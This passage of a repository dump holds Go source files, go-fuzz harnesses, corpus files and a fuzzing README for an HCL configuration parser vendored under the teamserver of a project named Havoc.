err),\n            Subject:     e.Val.Range().Ptr(),\n            Context:     &e.SrcRange,\n            Expression:  e.Val,\n            EvalContext: ctx,\n        })\n    }\n\n    if diags.HasErrors() {\n        // Don't actually try the call if we have errors already, since the\n        // this will probably just produce a confusing duplicative diagnostic.\n        return cty.UnknownVal(e.Op.Type), diags\n    }\n\n    args := []cty.Value{val}\n    result, err := impl.Call(args)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            // FIXME: This diagnostic is useless.\n            Severity:    hcl.DiagError,\n            Summary:     \"Operation failed\",\n            Detail:      fmt.Sprintf(\"Error during operation: %s.\", err),\n            Subject:     &e.SrcRange,\n            Expression:  e,\n            EvalContext: ctx,\n        })\n        return cty.UnknownVal(e.Op.Type), diags\n    }\n\n    return result, diags\n}\n\nfunc (e *UnaryOpExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *UnaryOpExpr) StartRange() hcl.Range {\n    return e.SymbolRange\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/expression_template.go",
    "content": "package hclsyntax\n\nimport (\n    \"bytes\"\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n)\n\ntype TemplateExpr struct {\n    Parts []Expression\n\n    SrcRange hcl.Range\n}\n\nfunc (e *TemplateExpr) walkChildNodes(w internalWalkFunc) {\n    for _, part := range e.Parts {\n        w(part)\n    }\n}\n\nfunc (e *TemplateExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    buf := &bytes.Buffer{}\n    var diags hcl.Diagnostics\n    isKnown := true\n\n    // Maintain a set of marks for values used in the template\n    marks := make(cty.ValueMarks)\n\n    for _, part := range e.Parts {\n        partVal, partDiags := part.Value(ctx)\n        diags = append(diags, partDiags...)\n\n        if partVal.IsNull() {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid template interpolation value\",\n                Detail: fmt.Sprintf(\n                    \"The expression result is null. Cannot include a null value in a string template.\",\n                ),\n                Subject:     part.Range().Ptr(),\n                Context:     &e.SrcRange,\n                Expression:  part,\n                EvalContext: ctx,\n            })\n            continue\n        }\n\n        // Unmark the part and merge its marks into the set\n        unmarkedVal, partMarks := partVal.Unmark()\n        for k, v := range partMarks {\n            marks[k] = v\n        }\n\n        if !partVal.IsKnown() {\n            // If any part is unknown then the result as a whole must be\n            // unknown too. We'll keep on processing the rest of the parts\n            // anyway, because we want to still emit any diagnostics resulting\n            // from evaluating those.\n            isKnown = false\n            continue\n        }\n\n        strVal, err := convert.Convert(unmarkedVal, cty.String)\n        if err != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid template interpolation value\",\n                Detail: fmt.Sprintf(\n                    \"Cannot include the given value in a string template: %s.\",\n                    err.Error(),\n                ),\n                Subject:     part.Range().Ptr(),\n                Context:     &e.SrcRange,\n                Expression:  part,\n                EvalContext: ctx,\n            })\n            continue\n        }\n\n        buf.WriteString(strVal.AsString())\n    }\n\n    var ret cty.Value\n    if !isKnown {\n        ret = cty.UnknownVal(cty.String)\n    } else {\n        ret = cty.StringVal(buf.String())\n    }\n\n    // Apply the full set of marks to the returned value\n    return ret.WithMarks(marks), diags\n}\n\nfunc (e *TemplateExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *TemplateExpr) StartRange() hcl.Range {\n    return e.Parts[0].StartRange()\n}\n\n// IsStringLiteral returns true if and only if the template consists only of\n// single string literal, as would be created for a simple quoted string like\n// \"foo\".\n//\n// If this function returns true, then calling Value on the same expression\n// with a nil EvalContext will return the literal value.\n//\n// Note that \"${\"foo\"}\", \"${1}\", etc aren't considered literal values for the\n// purposes of this method, because the intent of this method is to identify\n// situations where the user seems to be explicitly intending literal string\n// interpretation, not situations that result in literals as a technicality\n// of the template expression unwrapping behavior.\nfunc (e *TemplateExpr) IsStringLiteral() bool {\n    if len(e.Parts) != 1 {\n        return false\n    }\n    _, ok := e.Parts[0].(*LiteralValueExpr)\n    return ok\n}\n\n// TemplateJoinExpr is used to convert tuples of strings produced by template\n// constructs (i.e. for loops) into flat strings, by converting the values\n// tos strings and joining them. This AST node is not used directly; it's\n// produced as part of the AST of a \"for\" loop in a template.\ntype TemplateJoinExpr struct {\n    Tuple Expression\n}\n\nfunc (e *TemplateJoinExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.Tuple)\n}\n\nfunc (e *TemplateJoinExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    tuple, diags := e.Tuple.Value(ctx)\n\n    if tuple.IsNull() {\n        // This indicates a bug in the code that constructed the AST.\n        panic(\"TemplateJoinExpr got null tuple\")\n    }\n    if tuple.Type() == cty.DynamicPseudoType {\n        return cty.UnknownVal(cty.String), diags\n    }\n    if !tuple.Type().IsTupleType() {\n        // This indicates a bug in the code that constructed the AST.\n        panic(\"TemplateJoinExpr got non-tuple tuple\")\n    }\n    if !tuple.IsKnown() {\n        return cty.UnknownVal(cty.String), diags\n    }\n\n    tuple, marks := tuple.Unmark()\n    allMarks := []cty.ValueMarks{marks}\n    buf := &bytes.Buffer{}\n    it := tuple.ElementIterator()\n    for it.Next() {\n        _, val := it.Element()\n\n        if val.IsNull() {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid template interpolation value\",\n                Detail: fmt.Sprintf(\n                    \"An iteration result is null. Cannot include a null value in a string template.\",\n                ),\n                Subject:     e.Range().Ptr(),\n                Expression:  e,\n                EvalContext: ctx,\n            })\n            continue\n        }\n        if val.Type() == cty.DynamicPseudoType {\n            return cty.UnknownVal(cty.String).WithMarks(marks), diags\n        }\n        strVal, err := convert.Convert(val, cty.String)\n        if err != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid template interpolation value\",\n                Detail: fmt.Sprintf(\n                    \"Cannot include one of the interpolation results into the string template: %s.\",\n                    err.Error(),\n                ),\n                Subject:     e.Range().Ptr(),\n                Expression:  e,\n                EvalContext: ctx,\n            })\n            continue\n        }\n        if !val.IsKnown() {\n            return cty.UnknownVal(cty.String).WithMarks(marks), diags\n        }\n\n        strVal, strValMarks := strVal.Unmark()\n        if len(strValMarks) > 0 {\n            allMarks = append(allMarks, strValMarks)\n        }\n        buf.WriteString(strVal.AsString())\n    }\n\n    return cty.StringVal(buf.String()).WithMarks(allMarks...), diags\n}\n\nfunc (e *TemplateJoinExpr) Range() hcl.Range {\n    return e.Tuple.Range()\n}\n\nfunc (e *TemplateJoinExpr) StartRange() hcl.Range {\n    return e.Tuple.StartRange()\n}\n\n// TemplateWrapExpr is used instead of a TemplateExpr when a template\n// consists _only_ of a single interpolation sequence. In that case, the\n// template's result is the single interpolation's result, verbatim with\n// no type conversions.\ntype TemplateWrapExpr struct {\n    Wrapped Expression\n\n    SrcRange hcl.Range\n}\n\nfunc (e *TemplateWrapExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.Wrapped)\n}\n\nfunc (e *TemplateWrapExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    return e.Wrapped.Value(ctx)\n}\n\nfunc (e *TemplateWrapExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *TemplateWrapExpr) StartRange() hcl.Range {\n    return e.SrcRange\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/expression_vars.go",
    "content": "package hclsyntax\n\n// Generated by expression_vars_get.go. DO NOT EDIT.\n// Run 'go generate' on this package to update the set of functions here.\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\nfunc (e *AnonSymbolExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *BinaryOpExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *ConditionalExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *ForExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *FunctionCallExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *IndexExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *LiteralValueExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *ObjectConsExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *ObjectConsKeyExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *RelativeTraversalExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *ScopeTraversalExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *SplatExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *TemplateExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *TemplateJoinExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *TemplateWrapExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *TupleConsExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n\nfunc (e *UnaryOpExpr) Variables() []hcl.Traversal {\n    return Variables(e)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/expression_vars_gen.go",
    "content": "// This is a 'go generate'-oriented program for producing the \"Variables\"\n// method on every Expression implementation found within this package.\n// All expressions share the same implementation for this method, which\n// just wraps the package-level function \"Variables\" and uses an AST walk\n// to do its work.\n\n// +build ignore\n\npackage main\n\nimport (\n    \"fmt\"\n    \"go/ast\"\n    \"go/parser\"\n    \"go/token\"\n    \"os\"\n    \"sort\"\n)\n\nfunc main() {\n    fs := token.NewFileSet()\n    pkgs, err := parser.ParseDir(fs, \".\", nil, 0)\n    if err != nil {\n        fmt.Fprintf(os.Stderr, \"error while parsing: %s\\n\", err)\n        os.Exit(1)\n    }\n    pkg := pkgs[\"hclsyntax\"]\n\n    // Walk all the files and collect the receivers of any \"Value\" methods\n    // that look like they are trying to implement Expression.\n    var recvs []string\n    for _, f := range pkg.Files {\n        for _, decl := range f.Decls {\n            fd, ok := decl.(*ast.FuncDecl)\n            if !ok {\n                continue\n            }\n            if fd.Name.Name != \"Value\" {\n                continue\n            }\n            results := fd.Type.Results.List\n            if len(results) != 2 {\n                continue\n            }\n            valResult := fd.Type.Results.List[0].Type.(*ast.SelectorExpr).X.(*ast.Ident)\n            diagsResult := fd.Type.Results.List[1].Type.(*ast.SelectorExpr).X.(*ast.Ident)\n\n            if valResult.Name != \"cty\" && diagsResult.Name != \"hcl\" {\n                continue\n            }\n\n            // If we have a method called Value and it returns something in\n            // \"cty\" followed by something in \"hcl\" then that's specific enough\n            // for now, even though this is not 100% exact as a correct\n            // implementation of Value.\n\n            recvTy := fd.Recv.List[0].Type\n\n            switch rtt := recvTy.(type) {\n            case *ast.StarExpr:\n                name := rtt.X.(*ast.Ident).Name\n                recvs = append(recvs, fmt.Sprintf(\"*%s\", name))\n            default:\n                fmt.Fprintf(os.Stderr, \"don't know what to do with a %T receiver\\n\", recvTy)\n            }\n\n        }\n    }\n\n    sort.Strings(recvs)\n\n    of, err := os.OpenFile(\"expression_vars.go\", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, os.ModePerm)\n    if err != nil {\n        fmt.Fprintf(os.Stderr, \"failed to open output file: %s\\n\", err)\n        os.Exit(1)\n    }\n\n    fmt.Fprint(of, outputPreamble)\n    for _, recv := range recvs {\n        fmt.Fprintf(of, outputMethodFmt, recv)\n    }\n    fmt.Fprint(of, \"\\n\")\n\n}\n\nconst outputPreamble = `package hclsyntax\n\n// Generated by expression_vars_get.go. DO NOT EDIT.\n// Run 'go generate' on this package to update the set of functions here.\n\nimport (\n\t\"Havoc/pkg/profile/yaotl\"\n)`\n\nconst outputMethodFmt = `\n\nfunc (e %s) Variables() []hcl.Traversal {\n\treturn Variables(e)\n}`\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/file.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// File is the top-level object resulting from parsing a configuration file.\ntype File struct {\n    Body  *Body\n    Bytes []byte\n}\n\nfunc (f *File) AsHCLFile() *hcl.File {\n    return &hcl.File{\n        Body:  f.Body,\n        Bytes: f.Bytes,\n\n        // TODO: The Nav object, once we have an implementation of it\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/Makefile",
    "content": "\nifndef FUZZ_WORK_DIR\n$(error FUZZ_WORK_DIR is not set)\nendif\n\ndefault:\n\t@echo \"See README.md for usage instructions\"\n\nfuzz-config: fuzz-exec-config\nfuzz-expr: fuzz-exec-expr\nfuzz-template: fuzz-exec-template\nfuzz-traversal: fuzz-exec-traversal\n\nfuzz-exec-%: fuzz%-fuzz.zip\n\tgo-fuzz -bin=./fuzz$*-fuzz.zip -workdir=$(FUZZ_WORK_DIR)\n\nfuzz%-fuzz.zip: %/fuzz.go\n\tgo-fuzz-build Havoc/pkg/profile/yaotl/hclsyntax/fuzz/$*\n\ntools:\n\tgo get -u github.com/dvyukov/go-fuzz/go-fuzz\n\tgo get -u github.com/dvyukov/go-fuzz/go-fuzz-build\n\nclean:\n\trm fuzz*-fuzz.zip\n\n.PHONY: tools clean fuzz-config fuzz-expr fuzz-template fuzz-traversal\n.PRECIOUS: fuzzconfig-fuzz.zip fuzzexpr-fuzz.zip fuzztemplate-fuzz.zip fuzztraversal-fuzz.zip\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/README.md",
    "content": "# hclsyntax fuzzing utilities\n\nThis directory contains helper functions and corpuses that can be used to\nfuzz-test the `hclsyntax` parsers using [go-fuzz](https://github.com/dvyukov/go-fuzz).\n\n## Work directory\n\n`go-fuzz` needs a working directory where it can keep state as it works.  This\nshould ideally be in a ramdisk for efficiency, and should probably _not_ be on\nan SSD to avoid thrashing it. Here's how to create a ramdisk:\n\n### macOS\n\n```\n$ SIZE_IN_MB=1024\n$ DEVICE=`hdiutil attach -nobrowse -nomount ram://$(($SIZE_IN_MB*2048))`\n$ diskutil erasevolume HFS+ RamDisk $DEVICE\n$ export RAMDISK=/Volumes/RamDisk\n```\n\n### Linux\n\n```\n$ mkdir /mnt/ramdisk\n$ mount -t tmpfs -o size=1024M tmpfs /mnt/ramdisk\n$ export RAMDISK=/mnt/ramdisk\n```\n\n## Running the fuzzer\n\nNext, install `go-fuzz` and its build tool in your `GOPATH`:\n\n```\n$ make tools FUZZ_WORK_DIR=$RAMDISK\n```\n\nNow you can fuzz one or all of the parsers:\n\n```\n$ make fuzz-config FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-config\n$ make fuzz-expr FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-expr\n$ make fuzz-template FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-template\n$ make fuzz-traversal FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-traversal\n```\n\n~> Note: `go-fuzz` does not interact well with `goenv`. If you encounter build\nerrors where the package `go.fuzz.main` could not be found, you may need to use\na machine with a direct installation of Go.\n\n## Understanding the result\n\nA small number of subdirectories will be created in the work directory.\n\nIf you let `go-fuzz` run for a few minutes (the more minutes the better) it\nmay detect \"crashers\", which are inputs that caused the parser to panic. Details\nabout these are written to `$FUZZ_WORK_DIR/crashers`:\n\n```\n$ ls /tmp/hcl2-fuzz-config/crashers\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output\n7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted\n```\n\nThe base file above (with no extension) is the input that caused a crash. The\n`.output` file contains the panic stack trace, which you can use as a clue to\nfigure out what caused the crash.\n\nA good first step to fixing a detected crasher is to copy the failing input\ninto one of the unit tests in the `hclsyntax` package and see it crash there\ntoo. After that, it's easy to re-run the test as you try to fix it. The\nfile with the `.quoted` extension contains a form of the input that is quoted\nin Go syntax for easy copy-paste into a test case, even if the input contains\nnon-printable characters or other inconvenient symbols.\n\n## Rebuilding for new Upstream Code\n\nAn archive file is created for `go-fuzz` to use on the first run of each\nof the above, as a `.zip` file created in this directory. If upstream code\nis changed these will need to be deleted to cause them to be rebuilt with\nthe latest code:\n\n```\n$ make clean\n```\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/attr-expr.hcl",
    "content": "foo = upper(bar + baz[1])\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/attr-literal.hcl",
    "content": "foo = \"bar\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/block-attrs.hcl",
    "content": "block {\n  foo = true\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/block-empty.hcl",
    "content": "block {\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/block-nested.hcl",
    "content": "block {\n  another_block {\n    foo = bar\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/empty.hcl",
    "content": ""
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/utf8.hcl",
    "content": "foo = \"föo ${föo(\"föo\")}\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/fuzz.go",
    "content": "package fuzzconfig\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc Fuzz(data []byte) int {\n    _, diags := hclsyntax.ParseConfig(data, \"<fuzz-conf>\", hcl.Pos{Line: 1, Column: 1})\n\n    if diags.HasErrors() {\n        return 0\n    }\n\n    return 1\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/empty.hcle",
    "content": "\"\""
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/escape-dollar.hcle",
    "content": "\"hi $${var.foo}\""
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/escape-newline.hcle",
    "content": "\"bar\\nbaz\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/function-call.hcle",
    "content": "title(var.name)"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/int.hcle",
    "content": "42"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/literal.hcle",
    "content": "foo"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/splat-attr.hcle",
    "content": "foo.bar.*.baz\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/splat-full.hcle",
    "content": "foo.bar[*].baz\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/utf8.hcle",
    "content": "föo(\"föo\") + föo"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/var.hcle",
    "content": "var.bar"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/fuzz.go",
    "content": "package fuzzexpr\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc Fuzz(data []byte) int {\n    _, diags := hclsyntax.ParseExpression(data, \"<fuzz-expr>\", hcl.Pos{Line: 1, Column: 1})\n\n    if diags.HasErrors() {\n        return 0\n    }\n\n    return 1\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/empty.tmpl",
    "content": ""
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/escape-dollar.tmpl",
    "content": "hi $${var.foo}"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/escape-newline.tmpl",
    "content": "foo ${\"bar\\nbaz\"}"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/function-call.tmpl",
    "content": "hi ${title(var.name)}"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/int.tmpl",
    "content": "foo ${42}"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/just-interp.tmpl",
    "content": "${var.bar}"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/literal.tmpl",
    "content": "foo"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/utf8.tmpl",
    "content": "föo ${föo(\"föo\")}"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/fuzz.go",
    "content": "package fuzztemplate\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc Fuzz(data []byte) int {\n    _, diags := hclsyntax.ParseTemplate(data, \"<fuzz-tmpl>\", hcl.Pos{Line: 1, Column: 1})\n\n    if diags.HasErrors() {\n        return 0\n    }\n\n    return 1\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/attr.hclt",
    "content": "foo.bar"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/complex.hclt",
    "content": "foo.bar[1].baz[\"foo\"].pizza"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/index.hclt",
    "content": "foo[1]"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/root.hclt",
    "content": "foo"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/fuzz.go",
    "content": "package fuzztraversal\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc Fuzz(data []byte) int {\n    _, diags := hclsyntax.ParseTraversalAbs(data, \"<fuzz-trav>\", hcl.Pos{Line: 1, Column: 1})\n\n    if diags.HasErrors() {\n        return 0\n    }\n\n    return 1\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/generate.go",
    "content": "package hclsyntax\n\n//go:generate go run expression_vars_gen.go\n//go:generate ruby unicode2ragel.rb --url=http://www.unicode.org/Public/9.0.0/ucd/DerivedCoreProperties.txt -m UnicodeDerived -p ID_Start,ID_Continue -o unicode_derived.rl\n//go:generate ragel -Z scan_tokens.rl\n//go:generate gofmt -w scan_tokens.go\n//go:generate ragel -Z scan_string_lit.rl\n//go:generate gofmt -w scan_string_lit.go\n//go:generate stringer -type TokenType -output token_type_string.go\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/keywords.go",
    "content": "package hclsyntax\n\nimport (\n\t\"bytes\"\n)\n\ntype Keyword []byte\n\nvar forKeyword = Keyword([]byte{'f', 'o', 'r'})\nvar inKeyword = Keyword([]byte{'i', 'n'})\nvar ifKeyword = Keyword([]byte{'i', 'f'})\nvar elseKeyword = Keyword([]byte{'e', 'l', 's', 'e'})\nvar endifKeyword = Keyword([]byte{'e', 'n', 'd', 'i', 'f'})\nvar endforKeyword = Keyword([]byte{'e', 'n', 'd', 'f', 'o', 'r'})\n\nfunc (kw Keyword) TokenMatches(token Token) bool {\n\tif token.Type != TokenIdent {\n\t\treturn false\n\t}\n\treturn bytes.Equal([]byte(kw), token.Bytes)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/navigation.go",
    "content": "package hclsyntax\n\nimport (\n    \"bytes\"\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\ntype navigation struct {\n    root *Body\n}\n\n// Implementation of hcled.ContextString\nfunc (n navigation) ContextString(offset int) string {\n    // We will walk our top-level blocks until we find one that contains\n    // the given offset, and then construct a representation of the header\n    // of the block.\n\n    var block *Block\n    for _, candidate := range n.root.Blocks {\n        if candidate.Range().ContainsOffset(offset) {\n            block = candidate\n            break\n        }\n    }\n\n    if block == nil {\n        return \"\"\n    }\n\n    if len(block.Labels) == 0 {\n        // Easy case!\n        return block.Type\n    }\n\n    buf := &bytes.Buffer{}\n    buf.WriteString(block.Type)\n    for _, label := range block.Labels {\n        fmt.Fprintf(buf, \" %q\", label)\n    }\n    return buf.String()\n}\n\nfunc (n navigation) ContextDefRange(offset int) hcl.Range {\n    var block *Block\n    for _, candidate := range n.root.Blocks {\n        if candidate.Range().ContainsOffset(offset) {\n            block = candidate\n            break\n        }\n    }\n\n    if block == nil {\n        return hcl.Range{}\n    }\n\n    return block.DefRange()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/node.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// Node is the abstract type that every AST node implements.\n//\n// This is a closed interface, so it cannot be implemented from outside of\n// this package.\ntype Node interface {\n    // This is the mechanism by which the public-facing walk functions\n    // are implemented. Implementations should call the given function\n    // for each child node and then replace that node with its return value.\n    // The return value might just be the same node, for non-transforming\n    // walks.\n    walkChildNodes(w internalWalkFunc)\n\n    Range() hcl.Range\n}\n\ntype internalWalkFunc func(Node)\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/parser.go",
    "content": "package hclsyntax\n\nimport (\n    \"bytes\"\n    \"encoding/hex\"\n    \"fmt\"\n    \"strconv\"\n    \"unicode/utf8\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/apparentlymart/go-textseg/v13/textseg\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\ntype parser struct {\n    *peeker\n\n    // set to true if any recovery is attempted. The parser can use this\n    // to attempt to reduce error noise by suppressing \"bad token\" errors\n    // in recovery mode, assuming that the recovery heuristics have failed\n    // in this case and left the peeker in a wrong place.\n    recovery bool\n}\n\nfunc (p *parser) ParseBody(end TokenType) (*Body, hcl.Diagnostics) {\n    attrs := Attributes{}\n    blocks := Blocks{}\n    var diags hcl.Diagnostics\n\n    startRange := p.PrevRange()\n    var endRange hcl.Range\n\nToken:\n    for {\n        next := p.Peek()\n        if next.Type == end {\n            endRange = p.NextRange()\n            p.Read()\n            break Token\n        }\n\n        switch next.Type {\n        case TokenNewline:\n            p.Read()\n            continue\n        case TokenIdent:\n            item, itemDiags := p.ParseBodyItem()\n            diags = append(diags, itemDiags...)\n            switch titem := item.(type) {\n            case *Block:\n                blocks = append(blocks, titem)\n            case *Attribute:\n                if existing, exists := attrs[titem.Name]; exists {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Attribute redefined\",\n                        Detail: fmt.Sprintf(\n                            \"The argument %q was already set at %s. Each argument may be set only once.\",\n                            titem.Name, existing.NameRange.String(),\n                        ),\n                        Subject: &titem.NameRange,\n                    })\n                } else {\n                    attrs[titem.Name] = titem\n                }\n            default:\n                // This should never happen for valid input, but may if a\n                // syntax error was detected in ParseBodyItem that prevented\n                // it from even producing a partially-broken item. In that\n                // case, it would've left at least one error in the diagnostics\n                // slice we already dealt with above.\n                //\n                // We'll assume ParseBodyItem attempted recovery to leave\n                // us in a reasonable position to try parsing the next item.\n                continue\n            }\n        default:\n            bad := p.Read()\n            if !p.recovery {\n                if bad.Type == TokenOQuote {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid argument name\",\n                        Detail:   \"Argument names must not be quoted.\",\n                        Subject:  &bad.Range,\n                    })\n                } else {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Argument or block definition required\",\n                        Detail:   \"An argument or block definition is required here.\",\n                        Subject:  &bad.Range,\n                    })\n                }\n            }\n            endRange = p.PrevRange() // arbitrary, but somewhere inside the body means better diagnostics\n\n            p.recover(end) // attempt to recover to the token after the end of this body\n            break Token\n        }\n    }\n\n    return &Body{\n        Attributes: attrs,\n        Blocks:     blocks,\n\n        SrcRange: hcl.RangeBetween(startRange, endRange),\n        EndRange: hcl.Range{\n            Filename: endRange.Filename,\n            Start:    endRange.End,\n            End:      endRange.End,\n        },\n    }, diags\n}\n\nfunc (p *parser) ParseBodyItem() (Node, hcl.Diagnostics) {\n    ident := p.Read()\n    if ident.Type != TokenIdent {\n        p.recoverAfterBodyItem()\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Argument or block definition required\",\n                Detail:   \"An argument or block definition is required here.\",\n                Subject:  &ident.Range,\n            },\n        }\n    }\n\n    next := p.Peek()\n\n    switch next.Type {\n    case TokenEqual:\n        return p.finishParsingBodyAttribute(ident, false)\n    case TokenOQuote, TokenOBrace, TokenIdent:\n        return p.finishParsingBodyBlock(ident)\n    default:\n        p.recoverAfterBodyItem()\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Argument or block definition required\",\n                Detail:   \"An argument or block definition is required here. To set an argument, use the equals sign \\\"=\\\" to introduce the argument value.\",\n                Subject:  &ident.Range,\n            },\n        }\n    }\n\n    return nil, nil\n}\n\n// parseSingleAttrBody is a weird 